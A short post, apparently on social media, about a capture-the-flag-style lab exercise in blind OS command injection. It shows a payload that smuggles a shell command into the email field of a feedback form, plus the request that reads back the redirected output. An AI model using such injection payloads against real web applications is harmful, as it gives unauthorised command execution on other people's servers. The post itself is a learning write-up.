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July 14, 2026

Vulnerability: Blind OS Command Injection with Output Redirection

I successfully identified and exploited a blind OS command injection vulnerability in a controlled lab environment.

By Ethical Hacker

Proof of Concept:

Vulnerable Endpoint:

POST /feedback/submit

Affected Parameter:

email

Payload:

admin123@gmail.com & whoami >/var/www/images/output.txt #

Since the application did not directly display command output, I used output redirection to store the result.

Verification Request:

GET /image?filename=output.txt

Server Response:

HTTP/2 200 OK
peter-fdwwTp

The response confirmed successful operating system command execution.

Key Learnings: • Understanding blind OS command injection • Using output redirection for verification • Identifying insecure server-side command handling • Learning proper remediation techniques

Continuing my journey in Web Application Security & Bug Bounty Hunting 🔐

#CyberSecurity #EthicalHacking #BugBounty #WebSecurity #OWASP #Pentesting